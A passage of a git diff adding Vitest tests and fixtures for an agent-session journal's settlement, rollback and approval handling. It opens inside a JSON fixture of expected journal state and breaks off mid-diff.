"{\"itemId\":\"codex:thread-1:turn-1:7\",\"revision\":1,\"body\":{\"kind\":\"turn\",\"turnId\":\"removed-turn\",\"state\":\"running\"},\"sequence\":15,\"observedAt\":1015,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [15, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1015]", 0], + [16, "$", "\"derivedTurnScope\"", 1, "s0000000000000001:0000000000000006", "null", 0], + [16, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1016", 0], + [ + 16, + "itemFences", + "\"codex:thread-1:turn-1:7\"", + 1, + "s0000000000000015:0000000000000001", + "null", + 1 + ], + [ + 16, + "items", + "\"codex:thread-1:turn-1:7\"", + 1, + "s0000000000000015:0000000000000000", + "null", + 1 + ], + [ + 16, + "removedTurnIds", + "\"removed-turn\"", + 1, + "s0000000000000016:0000000000000003", + "[\"removed-turn\",\"removed-turn\"]", + 0 + ], + [ + 16, + "tombstones", + "\"codex:thread-1:turn-1:7\"", + 1, + "s0000000000000016:0000000000000000", + "[\"codex:thread-1:turn-1:7\",2]", + 0 + ], + [ + 17, + "$", + "\"derivedTurnScope\"", + 1, + "s0000000000000001:0000000000000006", + "\"codex:thread-1:turn-1:5\"", + 0 + ], + [17, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1017", 0], + [ + 17, + "itemFences", + "\"codex:thread-1:turn-1:5\"", + 1, + "s0000000000000017:0000000000000001", + "[\"codex:thread-1:turn-1:5\",1]", + 0 + ], + [ + 17, + "items", + "\"codex:thread-1:turn-1:5\"", + 1, + "s0000000000000017:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:5\",\"revision\":1,\"body\":{\"kind\":\"turn\",\"turnId\":\"open-turn\",\"state\":\"running\"},\"sequence\":17,\"observedAt\":1017,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [17, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1017]", 0], + [18, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1018", 0], + [ + 18, + "itemExecutionOwners", + "\"codex:thread-1:turn-1:6\"", + 1, + "s0000000000000018:0000000000000002", + "[\"codex:thread-1:turn-1:6\",2]", + 0 + ], + [ + 18, + "itemFences", + "\"codex:thread-1:turn-1:6\"", + 1, + "s0000000000000018:0000000000000001", + "[\"codex:thread-1:turn-1:6\",1]", + 0 + ], + [ + 18, + "items", + "\"codex:thread-1:turn-1:6\"", + 1, + "s0000000000000018:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:6\",\"revision\":1,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"Working\"}]},\"sequence\":18,\"observedAt\":1018,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:5\"}}", + 0 + ], + [18, "providerActivityAt", "2", 1, "s0000000000000018:0000000000000003", "[2,1018]", 0], + [19, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1019", 0], + [ + 19, + "itemFences", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000019:0000000000000002", + "[\"codex:thread-1:turn-1:3\",1]", + 0 + ], + [ + 19, + "items", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000019:0000000000000001", + "{\"itemId\":\"codex:thread-1:turn-1:3\",\"revision\":3,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"Recreated\"}]},\"sequence\":19,\"observedAt\":1019,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:5\"}}", + 0 + ], + [19, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1019]", 0], + [ + 19, + "tombstones", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000008:0000000000000000", + "null", + 1 + ], + [20, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1020", 0], + [ + 20, + "itemFences", + "\"orca:send-3\"", + 1, + "s0000000000000020:0000000000000002", + "[\"orca:send-3\",1]", + 0 + ], + [ + 20, + "items", + "\"orca:send-3\"", + 1, + "s0000000000000020:0000000000000001", + "{\"itemId\":\"orca:send-3\",\"revision\":0,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"sequence\":20,\"observedAt\":1020,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:5\"}}", + 0 + ], + [ + 20, + "submissions", + "\"send-3\"", + 1, + "s0000000000000020:0000000000000000", + "[\"send-3\",{\"clientMessageId\":\"send-3\",\"fence\":1,\"payloadFingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"dispatchState\":\"pending\",\"providerItemId\":null,\"reason\":null,\"submittedAt\":1020,\"resolvedAt\":null,\"submittedSequence\":20}]", + 0 + ], + [21, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1021", 0], + [ + 21, + "itemFences", + "\"orca:send-2\"", + 1, + "s0000000000000021:0000000000000002", + "[\"orca:send-2\",1]", + 0 + ], + [ + 21, + "items", + "\"orca:send-2\"", + 1, + "s0000000000000021:0000000000000001", + "{\"itemId\":\"orca:send-2\",\"revision\":0,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"sequence\":21,\"observedAt\":1021,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:5\"}}", + 0 + ], + [ + 21, + "normalizedHandOffs", + "\"send-1\"", + 1, + "s0000000000000021:0000000000000099", + "[\"send-1\",\"send-1\"]", + 0 + ], + [ + 21, + "submissions", + "\"send-2\"", + 1, + "s0000000000000021:0000000000000000", + "[\"send-2\",{\"clientMessageId\":\"send-2\",\"fence\":1,\"payloadFingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"dispatchState\":\"pending\",\"providerItemId\":null,\"reason\":null,\"submittedAt\":1021,\"resolvedAt\":null,\"submittedSequence\":21}]", + 0 + ] + ], + "expected": { + "sessionId": "session-1", + "epoch": "epoch-1", + "lastSequence": 21, + "lastActivityAt": 1021, + "oldestSequence": 1, + "highestFence": 1, + "items": [ + [ + "orca:send-1", + { + "itemId": "orca:send-1", + "revision": 1, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate" + } + ] + }, + "sequence": 4, + "observedAt": 1004, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-1:2", + { + "itemId": "codex:thread-1:turn-1:2", + "revision": 1, + "body": { + "kind": "message", + "role": "assistant", + "blocks": [ + { + "type": "text", + "text": "echo" + } + ] + }, + "sequence": 6, + "observedAt": 1006, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-1:4", + { + "itemId": "codex:thread-1:turn-1:4", + "revision": 3, + "body": { + "kind": "message", + "role": "assistant", + "blocks": [ + { + "type": "text", + "text": "progress 2" + } + ] + }, + "sequence": 12, + "observedAt": 1012, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-1:5", + { + "itemId": "codex:thread-1:turn-1:5", + "revision": 1, + "body": { + "kind": "turn", + "turnId": "open-turn", + "state": "running" + }, + "sequence": 17, + "observedAt": 1017, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-1:6", + { + "itemId": "codex:thread-1:turn-1:6", + "revision": 1, + "body": { + "kind": "message", + "role": "assistant", + "blocks": [ + { + "type": "text", + "text": "Working" + } + ] + }, + "sequence": 18, + "observedAt": 1018, + "turnScope": { + "kind": "turn", + "turnItemId": "codex:thread-1:turn-1:5" + } + } + ], + [ + "codex:thread-1:turn-1:3", + { + "itemId": "codex:thread-1:turn-1:3", + "revision": 3, + "body": { + "kind": "message", + "role": "assistant", + "blocks": [ + { + "type": "text", + "text": "Recreated" + } + ] + }, + "sequence": 19, + "observedAt": 1019, + "turnScope": { + "kind": "turn", + "turnItemId": "codex:thread-1:turn-1:5" + } + } + ], + [ + "orca:send-3", + { + "itemId": "orca:send-3", + "revision": 0, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate" + } + ] + }, + "sequence": 20, + "observedAt": 1020, + "turnScope": { + "kind": "turn", + "turnItemId": "codex:thread-1:turn-1:5" + } + } + ], + [ + "orca:send-2", + { + "itemId": "orca:send-2", + "revision": 0, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate" + } + ] + }, + "sequence": 21, + "observedAt": 1021, + "turnScope": { + "kind": "turn", + "turnItemId": "codex:thread-1:turn-1:5" + } + } + ] + ], + "itemFences": [ + ["orca:send-1", 1], + ["codex:thread-1:turn-1:2", 1], + ["codex:thread-1:turn-1:4", 1], + ["codex:thread-1:turn-1:5", 1], + ["codex:thread-1:turn-1:6", 1], + ["codex:thread-1:turn-1:3", 1], + ["orca:send-3", 1], + ["orca:send-2", 1] + ], + "itemExecutionOwners": [["codex:thread-1:turn-1:6", 2]], + "providerActivityAt": [ + [1, 1019], + [2, 1018] + ], + "tombstones": [["codex:thread-1:turn-1:7", 2]], + "removedTurnIds": ["removed-turn"], + "submissions": [ + [ + "send-1", + { + "clientMessageId": "send-1", + "fence": 1, + "payloadFingerprint": "56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571", + "dispatchState": "accepted", + "providerItemId": "codex:thread-1:turn-1:1", + "reason": null, + "submittedAt": 1003, + "resolvedAt": 1005, + "submittedSequence": 3, + "handoverRecorded": true, + "acceptedSequence": 3, + "queuedMessageId": "draft", + "origin": "client", + "handedOverAt": 1004 + } + ], + [ + "send-3", + { + "clientMessageId": "send-3", + "fence": 1, + "payloadFingerprint": "56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571", + "dispatchState": "pending", + "providerItemId": null, + "reason": null, + "submittedAt": 1020, + "resolvedAt": null, + "submittedSequence": 20 + } + ], + [ + "send-2", + { + "clientMessageId": "send-2", + "fence": 1, + "payloadFingerprint": "56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571", + "dispatchState": "pending", + "providerItemId": null, + "reason": null, + "submittedAt": 1021, + "resolvedAt": null, + "submittedSequence": 21 + } + ] + ], + "receipts": [ + [ + "send-1", + { + "clientMessageId": "send-1", + "providerItemId": "codex:thread-1:turn-1:1", + "cursor": { + "epoch": "epoch-1", + "sequence": 5 + }, + "acceptedAt": 1005 + } + ] + ], + "aliases": [["codex:thread-1:turn-1:1", "orca:send-1"]], + "itemEchoes": [["codex:thread-1:turn-1:2", null]], + "appliedSettlementIds": ["settlement-0", "settlement-1", "settlement-2"], + "derivedTurnScope": "codex:thread-1:turn-1:5", + "latestAcceptedTurnSequence": 3, + "queuePauseMarks": { + "latestStop": { + "sequence": 9, + "event": { + "reason": "user-stop", + "at": 1009 + } + }, + "resumedSequence": 0, + "reopenedSequence": 11, + "cleared": { + "operationId": "clear-1", + "messageIds": ["draft"], + "sequence": 10 + } + }, + "stoppedHistoryCarried": [["send-1", ["stopped-2", "stopped-1"]]], + "queuedHandOffPlaces": [ + [ + "send-1", + { + "sequence": 4, + "observedAt": 1004, + "turnScope": { + "kind": "thread" + } + } + ] + ], + "normalizedHandOffs": ["send-1"], + "queue": { + "revision": 2, + "cards": [ + [ + "draft", + { + "messageId": "draft", + "position": 1, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate" + } + ] + }, + "fingerprint": "56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571", + "state": "dispatched", + "holdReason": null, + "returnedReason": null, + "returnedRejection": null, + "consumedAs": "send-1", + "queuedAt": { + "epoch": "epoch-1", + "sequence": 2 + }, + "options": { + "model": "model-a" + } + } + ] + ] + }, + "historyOrigin": { + "providerHandle": { + "kind": "codex", + "threadId": "thread-1" + }, + "raw": { + "version": 1, + "kind": "legacy_import", + "providerHandle": { + "kind": "codex", + "threadId": "thread-1" + }, + "importedAt": 1001 + } + } + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-approval-revision-validation.spec.ts b/src/main/native-chat/agent-session-journal/journal-approval-revision-validation.spec.ts new file mode 100644 index 00000000000..cb918aac427 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-approval-revision-validation.spec.ts @@ -0,0 +1,39 @@ +import type { createFixture } from './journal-terminal-validation-test-fixture' +import { expect, it } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' + +export function registerJournalApprovalRevisionValidationTests( + fixture: ReturnType +): void { + it('admits an answer on an exhausted approval without changing the saved item', async () => { + await fixture.saveOldItems([ + { + itemId: agentJournalItemKey(fixture.identity), + revision: Number.MAX_SAFE_INTEGER + 1, + body: fixture.pendingApproval() + } + ]) + const before = fixture.journal.snapshot().items[0] + const cursor = fixture.journal.cursor() + await expect( + fixture.journal.appendItem( + fixture.identity, + { + ...fixture.pendingApproval(), + kind: 'approval', + resolution: { + state: 'resolved', + selectedOptionId: null, + resolvedBy: 'user', + resolvedAt: 1_000 + } + }, + { fence: 8, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + ).resolves.toBeDefined() + expect(fixture.journal.cursor().sequence).toBe(cursor.sequence + 1) + expect(fixture.journal.snapshot().items[0]).toEqual(before) + await fixture.expectSendStillWritable() + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-atomic-settlement-contract-test-fixture.ts b/src/main/native-chat/agent-session-journal/journal-atomic-settlement-contract-test-fixture.ts new file mode 100644 index 00000000000..db8ebf9bb21 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-atomic-settlement-contract-test-fixture.ts @@ -0,0 +1,125 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, vi } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { settleObservedExitForTest } from '../agent-session-wire/structured-agent-session-observed-exit.test-fixture' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase, + readTestJournalRows +} from './journal-host-database-test-support' +import { parseJournalRow } from './journal-row-schema' +import type { AgentSessionJournal } from './journal-store' + +export function createFixture() { + const SESSION = 'atomic-settlement' + + const journals = createTrackedJournalOpener({ legacyInputs: true }) + + let root: string + + let journal: AgentSessionJournal + + async function open(sessionId = SESSION) { + return journals.open({ + identity: { + sessionId, + workspaceId: 'folder-workspace', + hostId: 'host', + agent: 'codex', + providerHandle: codexProviderHandle('thread') + }, + stateDirectory: root, + now: () => 1_000 + }) + } + + beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-atomic-settlement-')) + journal = await open() + }) + + afterEach(async () => { + vi.restoreAllMocks() + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + }) + + function rows() { + return readTestJournalRows(openTestJournalHostDatabase(root).db, SESSION, journal.epoch).map( + (stored) => { + const parsed = parseJournalRow(stored.rowJson) + if (!parsed.ok) { + throw new Error('test row failed to parse') + } + return parsed.row + } + ) + } + + async function seedWork(count = 201) { + await journal.appendSubmission({ + clientMessageId: 'send', + payloadFingerprint: 'fingerprint', + body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'continue' }] }, + fence: 7 + }) + const turn = await journal.appendItem( + { provider: 'orca', clientMessageId: 'turn' }, + { kind: 'turn', turnId: 'turn', state: 'running', startedAt: 900 }, + { fence: 7, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + for (let index = 0; index < count; index++) { + await journal.appendItem( + { provider: 'orca', clientMessageId: `call-${index}` }, + { + kind: 'tool-call', + name: 'Write', + input: { content: index === 0 ? '界😀'.repeat(220_000) : 'small' }, + state: 'running' + }, + { + fence: 7, + turnScope: { kind: 'turn', turnItemId: turn.itemId }, + agentId: 'child', + producerKind: 'agent' + } + ) + } + } + + function settle() { + return settleObservedExitForTest({ + journal, + sessionId: SESSION, + fence: 7, + settlementId: `exit:${SESSION}:7`, + verdict: { state: 'interrupted', completedAt: 1_000 }, + pendingSubmissionReason: 'provider_exited_before_acknowledgement', + showUnexpectedExitOutcome: true + }) + } + + return { + SESSION, + get journal() { + return journal + }, + set journal(value: typeof journal) { + journal = value + }, + journals, + open, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + rows, + seedWork, + settle + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-atomic-settlement-oversized.spec.ts b/src/main/native-chat/agent-session-journal/journal-atomic-settlement-oversized.spec.ts new file mode 100644 index 00000000000..426303ae98d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-atomic-settlement-oversized.spec.ts @@ -0,0 +1,107 @@ +import type { createFixture } from './journal-atomic-settlement-contract-test-fixture' +import { expect, it } from 'vitest' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalSnapshot +} from '../../../shared/agent-session-journal-types' +import { settleObservedExitForTest } from '../agent-session-wire/structured-agent-session-observed-exit.test-fixture' +import { openTestJournalHostDatabase } from './journal-host-database-test-support' +import { MAX_JOURNAL_LIFECYCLE_BATCH_BYTES } from './journal-row-schema' + +export function registerJournalAtomicSettlementOversizedTests( + fixture: ReturnType +): void { + it('uses an ordinary recovered tombstone when the settlement namespace exceeds the batch cap', async () => { + const identity = { provider: 'orca' as const, clientMessageId: 'remove-item' } + await fixture.journal.appendItem( + identity, + { kind: 'status', text: 'remove me' }, + { + fence: 7, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + const before = fixture.journal.cursor() + const input = { + settlementId: 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES), + fence: 7, + recovered: true as const, + mutations: [{ kind: 'tombstone' as const, identity }] + } + await fixture.journal.appendLifecycleBatch(input) + expect(fixture.journal.snapshot().items).toEqual([]) + expect(fixture.journal.cursor().sequence).toBe(before.sequence + 1) + expect(fixture.rows().at(-1)).toMatchObject({ kind: 'tombstone', recovered: true }) + await fixture.journal.appendLifecycleBatch(input) + expect(fixture.journal.cursor().sequence).toBe(before.sequence + 1) + }) + + it.each(['startup', 'stop'] as const)( + 'rolls back the %s submission verdict with its oversized item', + async (mode) => { + await fixture.journal.appendSubmission({ + clientMessageId: 'unanswered', + payloadFingerprint: 'unanswered', + fence: 7, + handoverRecorded: true, + body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'next' }] } + }) + await fixture.journal.resolveDispatch({ + clientMessageId: 'unanswered', + state: 'pending', + fence: 7, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + if (mode === 'stop') { + await fixture.journal.appendStopEvent({ reason: 'user-stop' }, 7) + } + await fixture.journal.appendItem( + { provider: 'orca', clientMessageId: 'oversized-call' }, + { + kind: 'tool-call', + name: 'Write', + input: 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES), + state: 'running' + }, + { fence: 7, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + const input = { + journal: fixture.journal, + sessionId: fixture.SESSION, + fence: 7, + settlementId: `${mode}:7`, + verdict: { state: 'interrupted' as const, completedAt: 1_000 }, + pendingSubmissionReason: 'owner exited', + showUnexpectedExitOutcome: mode === 'startup', + ...(mode === 'startup' ? { exitedDuringStartup: { generation: 'start-7' } } : {}) + } + const database = openTestJournalHostDatabase(fixture.root) + const before = fixture.journal.snapshot() + const diskBefore = fixture.rows() + const published: AgentJournalSnapshot[] = [] + fixture.journal.observeCommits(() => published.push(fixture.journal.snapshot())) + database.db.exec(`CREATE TEMP TRIGGER reject_submission_settlement_item + BEFORE INSERT ON journal_rows + WHEN NEW.session_id = '${fixture.SESSION}' AND json_extract(NEW.row_json, '$.recovered') = 1 + AND json_extract(NEW.row_json, '$.kind') = 'item' + BEGIN SELECT RAISE(ABORT, 'item rejected after submission'); END`) + expect(await settleObservedExitForTest(input)).toMatchObject({ ok: false }) + expect(fixture.journal.snapshot()).toEqual(before) + expect(fixture.rows()).toEqual(diskBefore) + expect(published).toEqual([]) + database.db.exec('DROP TRIGGER reject_submission_settlement_item') + expect(await settleObservedExitForTest(input)).toMatchObject({ ok: true }) + expect(fixture.journal.submission('unanswered')).toMatchObject({ + dispatchState: 'rejected', + recovered: true, + rejection: { kind: mode === 'stop' ? 'cancelled' : 'providerStartFailed' } + }) + const committed = fixture.rows().slice(diskBefore.length) + expect(committed.filter((row) => row.kind === 'dispatch')).toHaveLength(1) + expect(published).toEqual([fixture.journal.snapshot()]) + expect(await settleObservedExitForTest(input)).toMatchObject({ ok: true }) + expect(fixture.rows().slice(diskBefore.length)).toEqual(committed) + expect(published).toHaveLength(1) + } + ) +} diff --git a/src/main/native-chat/agent-session-journal/journal-atomic-settlement-rollback.spec.ts b/src/main/native-chat/agent-session-journal/journal-atomic-settlement-rollback.spec.ts new file mode 100644 index 00000000000..2e2fe11e0e2 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-atomic-settlement-rollback.spec.ts @@ -0,0 +1,250 @@ +import type { createFixture } from './journal-atomic-settlement-contract-test-fixture' +import { expect, it, vi } from 'vitest' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalSnapshot +} from '../../../shared/agent-session-journal-types' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import { AgentSessionSubscribers } from '../agent-session-wire/structured-agent-session-subscribers' +import { settleStaleStructuredAgentSessionState } from '../agent-session-wire/structured-agent-session-dead-generation-settlement' +import { openTestJournalHostDatabase } from './journal-host-database-test-support' +import type { JournalLifecycleMutationInput } from './journal-row-builders' +import { MAX_JOURNAL_LIFECYCLE_BATCH_BYTES } from './journal-row-schema' + +export function registerJournalAtomicSettlementRollbackTests( + fixture: ReturnType +): void { + it.each(['item', 'lifecycle-batch'] as const)( + 'rolls back a later %s rejection, publishes nothing, then retries exactly once', + async (kind) => { + await fixture.seedWork() + const database = openTestJournalHostDatabase(fixture.root) + const before = fixture.journal.snapshot() + const diskBefore = fixture.rows() + const published: AgentJournalSnapshot[] = [] + const frames: AgentSessionSubscribeEvent[] = [] + const emittedStates: AgentJournalSnapshot[] = [] + const subscribers = new AgentSessionSubscribers() + subscribers.open({ + id: 'reader', + sessionId: fixture.SESSION, + journal: fixture.journal, + fence: 7, + cursor: before.cursor, + emit: (event) => { + frames.push(event) + emittedStates.push(fixture.journal.snapshot()) + } + }) + frames.length = 0 + emittedStates.length = 0 + fixture.journal.observeCommits(() => { + published.push(fixture.journal.snapshot()) + subscribers.publish(fixture.SESSION, fixture.journal) + }) + const sawEarlierInserts: number[] = [] + const transaction = database.transaction.bind(database) + vi.spyOn(database, 'transaction').mockImplementation((run, streamed, committed) => + transaction( + (db) => { + try { + const result = run(db) + expect(fixture.journal.snapshot()).toEqual(before) + expect(published).toEqual([]) + expect(frames).toEqual([]) + return result + } catch (error) { + sawEarlierInserts.push(fixture.rows().length - diskBefore.length) + expect(fixture.journal.snapshot()).toEqual(before) + expect(published).toEqual([]) + expect(frames).toEqual([]) + throw error + } + }, + streamed, + committed + ) + ) + database.db.exec(`CREATE TEMP TRIGGER reject_later_settlement BEFORE INSERT ON journal_rows + WHEN NEW.session_id = '${fixture.SESSION}' AND json_extract(NEW.row_json, '$.recovered') = 1 + AND json_extract(NEW.row_json, '$.kind') = '${kind}' + AND NEW.seq > ${before.cursor.sequence + 1} + BEGIN SELECT RAISE(ABORT, 'later settlement row rejected'); END`) + + expect(await fixture.settle()).toMatchObject({ ok: false }) + expect(sawEarlierInserts[0]).toBeGreaterThan(0) + expect(fixture.rows()).toEqual(diskBefore) + expect(fixture.journal.cursor()).toEqual(before.cursor) + expect(fixture.journal.snapshot()).toEqual(before) + expect(published).toEqual([]) + expect(frames).toEqual([]) + + vi.restoreAllMocks() + + const other = await fixture.open('other-chat') + await expect( + other.appendSubmission({ + clientMessageId: 'unrelated', + payloadFingerprint: 'other', + fence: 0, + body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'hello' }] } + }) + ).resolves.toMatchObject({ sequence: 2 }) + + database.db.exec('DROP TRIGGER reject_later_settlement') + vi.spyOn(database, 'transaction').mockImplementation((run, streamed, committed) => + transaction( + (db) => { + const result = run(db) + expect(fixture.journal.snapshot()).toEqual(before) + expect(published).toEqual([]) + expect(frames).toEqual([]) + return result + }, + streamed, + committed + ) + ) + expect(await fixture.settle()).toMatchObject({ ok: true }) + vi.restoreAllMocks() + const settled = fixture.journal.snapshot() + expect(published).toEqual([settled]) + expect(frames.length).toBeGreaterThan(0) + expect( + emittedStates.every((state) => state.cursor.sequence === settled.cursor.sequence) + ).toBe(true) + expect( + emittedStates.every((state) => + state.items.every( + (item) => item.body.kind !== 'tool-call' || item.body.state === 'failed' + ) + ) + ).toBe(true) + expect(frames.at(-1)).toMatchObject({ type: 'batch', batch: { cursor: settled.cursor } }) + const frameCount = frames.length + expect(settled.submissions[0]).toMatchObject({ dispatchState: 'unknown', recovered: true }) + expect(fixture.journal.runningTurn()?.turnId ?? null).toBeNull() + const calls = settled.items.filter((item) => item.body.kind === 'tool-call') + expect(calls).toHaveLength(201) + expect( + calls.every((item) => item.body.kind === 'tool-call' && item.body.state === 'failed') + ).toBe(true) + expect(calls[0]).toMatchObject({ + observedAt: 1_000, + agentId: 'child', + revision: 2, + body: { endedAs: 'interrupted', input: { content: '界😀'.repeat(220_000) } } + }) + const committed = fixture.rows().slice(diskBefore.length) + expect(committed.map((row) => row.kind)).toEqual([ + 'dispatch', + 'lifecycle-batch', + 'item', + 'lifecycle-batch', + 'lifecycle-batch' + ]) + expect(committed.every((row) => row.recovered)).toBe(true) + expect(await fixture.settle()).toMatchObject({ ok: true }) + expect(fixture.journal.snapshot()).toEqual(settled) + expect(fixture.rows().slice(diskBefore.length)).toEqual(committed) + expect(published).toEqual([settled]) + expect(frames).toHaveLength(frameCount) + await fixture.journal.close() + fixture.journal = await fixture.open() + expect(fixture.journal.snapshot()).toEqual(settled) + expect(await fixture.settle()).toMatchObject({ ok: true }) + expect(fixture.journal.snapshot()).toEqual(settled) + } + ) + + it('writes an all-oversized settlement with full bodies, and deduplicates it after replay', async () => { + await fixture.seedWork(2) + const calls = fixture.journal.snapshot().items.filter((item) => item.body.kind === 'tool-call') + const mutations: JournalLifecycleMutationInput[] = calls.map((item, index) => ({ + kind: 'item', + observedAt: index + 1, + identity: { provider: 'orca', clientMessageId: `call-${index}` }, + body: { + kind: 'tool-call', + name: 'Write', + state: 'failed', + endedAs: 'interrupted', + input: { content: 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES + index) } + }, + turnScope: item.turnScope ?? AGENT_JOURNAL_THREAD_SCOPE + })) + const input = { + settlementId: 'all-oversized:7', + fence: 7, + recovered: true as const, + mutations + } + const before = fixture.journal.cursor() + const published: AgentJournalSnapshot[] = [] + fixture.journal.observeCommits(() => published.push(fixture.journal.snapshot())) + await fixture.journal.appendLifecycleBatch(input) + const settled = fixture.journal.snapshot() + expect(fixture.journal.cursor().sequence).toBe(before.sequence + 2) + expect( + fixture + .rows() + .slice(-2) + .map((row) => row.kind) + ).toEqual(['item', 'item']) + expect( + settled.items.filter((item) => item.body.kind === 'tool-call').map((item) => item.body) + ).toEqual(mutations.flatMap((mutation) => (mutation.kind === 'item' ? [mutation.body] : []))) + expect( + fixture + .rows() + .slice(-2) + .map((row) => row.ts) + ).toEqual([1, 2]) + expect( + settled.items.filter((item) => item.body.kind === 'tool-call').map((item) => item.observedAt) + ).toEqual(calls.map((item) => item.observedAt)) + expect(published).toEqual([settled]) + await fixture.journal.appendLifecycleBatch(input) + expect(fixture.journal.snapshot()).toEqual(settled) + expect(published).toEqual([settled]) + expect( + await fixture.journal.appendSteps([ + { + kind: 'settlement', + batch: { + settlementId: input.settlementId, + fence: input.fence, + recovered: true, + resolve: () => mutations + } + } + ]) + ).toEqual([false]) + expect(fixture.journal.snapshot()).toEqual(settled) + await fixture.journal.close() + fixture.journal = await fixture.open() + await fixture.journal.appendLifecycleBatch(input) + expect(fixture.journal.snapshot()).toEqual(settled) + }) + + it('settles stale work through the same oversized fallback without duplicating its outcome', async () => { + await fixture.seedWork(1) + const input = { + journal: fixture.journal, + sessionId: fixture.SESSION, + fence: 8, + acquisitionGeneration: 'new-generation', + deathEvidence: { + kind: 'exit-observed' as const, + ownerFence: 7, + observedAt: 1_000, + detail: '' + } + } + expect(await settleStaleStructuredAgentSessionState(input)).toBeGreaterThan(0) + const settled = fixture.journal.snapshot() + expect(await settleStaleStructuredAgentSessionState(input)).toBe(0) + expect(fixture.journal.snapshot()).toEqual(settled) + expect(fixture.rows().some((row) => row.kind === 'item' && row.recovered)).toBe(true) + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-atomic-terminal-settlement.spec.ts b/src/main/native-chat/agent-session-journal/journal-atomic-terminal-settlement.spec.ts index 6c8f3f64989..7b84274b638 100644 --- a/src/main/native-chat/agent-session-journal/journal-atomic-terminal-settlement.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-atomic-terminal-settlement.spec.ts @@ -1,430 +1,9 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { - AGENT_JOURNAL_THREAD_SCOPE, - type AgentJournalSnapshot -} from '../../../shared/agent-session-journal-types' -import { codexProviderHandle } from 